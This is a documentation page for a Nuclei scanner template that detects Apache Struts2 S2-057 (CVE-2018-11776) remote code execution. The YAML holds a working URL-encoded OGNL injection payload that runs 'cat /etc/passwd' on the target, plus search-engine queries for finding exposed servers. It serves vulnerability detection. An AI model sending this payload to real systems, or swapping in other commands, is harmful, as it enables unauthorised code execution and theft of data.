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Apache Struts2 S2-057 - Remote Code Execution

ID: CVE-2018-11776

Severity: high

Author: pikpikcu

Tags: cve,cve2018,packetstorm,apache,rce,struts,kev

Description

Section titled “Description”

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn”t have value and action set and in same time, its upper package have no or wildcard namespace.

YAML Source

Section titled “YAML Source”
id: CVE-2018-11776


info:
  name: Apache Struts2 S2-057 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
  impact: |
    Remote code execution
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
  reference:
    - https://github.com/jas502n/St2-057
    - https://cwiki.apache.org/confluence/display/WW/S2-057
    - https://security.netapp.com/advisory/ntap-20180822-0001/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
    - http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11776
    cwe-id: CWE-20
    epss-score: 0.97517
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2018,packetstorm,apache,rce,struts,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b3abc1137b51ad3830e0e46886c6e6e8b3aa55fb69f162c7b1fe6f634a49df2d022100b93d4d19917d690e6a80485b362458031c707b08a89ff105379213b4fad5cfc7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-11776.yaml"

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